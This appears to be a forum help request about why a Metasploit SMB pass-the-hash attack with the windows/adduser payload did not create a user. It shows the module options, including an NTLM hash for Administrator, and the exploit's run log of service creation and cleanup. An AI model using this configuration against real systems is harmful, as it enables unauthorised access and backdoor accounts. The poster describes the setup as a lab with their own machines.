Metasploit Framework

Hi,

I was trying the above exploit using a NTLM hash to exploit and then deploying windows adduser payload
Connection (445) was established between the attacking machine and the target machine.
However, the account was not created on the target machine. Is this exploit limited to the kinds of payload we can deploy?

Note: I have physical access to both machine, and on the targetted machine, the account was not created although a 445 session was established between the attacking and target machine.

Name       Current Setting                                                    Required  Description
   ----       ---------------                                                    --------  -----------
   RHOST      10.10.10.10                                                         yes      The target address
   RPORT      445                                                                    yes       Set the SMB service port
   SMBDomain  WORKGROUP                                                           no        The Windows domain to use for authentication
   SMBPass    00000000000000000000000000000000:E3D386D6673369E87139D020D653218E   no        The password for the specified username
   SMBUser    Administrator                                                       no        The username to authenticate as

   Payload options (windows/adduser):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process
   PASS      test123          yes       The password for this user
   USER      test123          yes       The username to create

[*] Connecting to the server...
[*] Authenticating as user 'ADministrator'...
[*] Uploading payload...
[*] Created \DkysLinS.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.10.10.10[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.10.10.10[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (hjTkQCQp - "MrsMgvquMqVIwuWWTZLIAlXkQPCB")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \DkysLinS.exe...
[*] Exploit completed, but no session was created.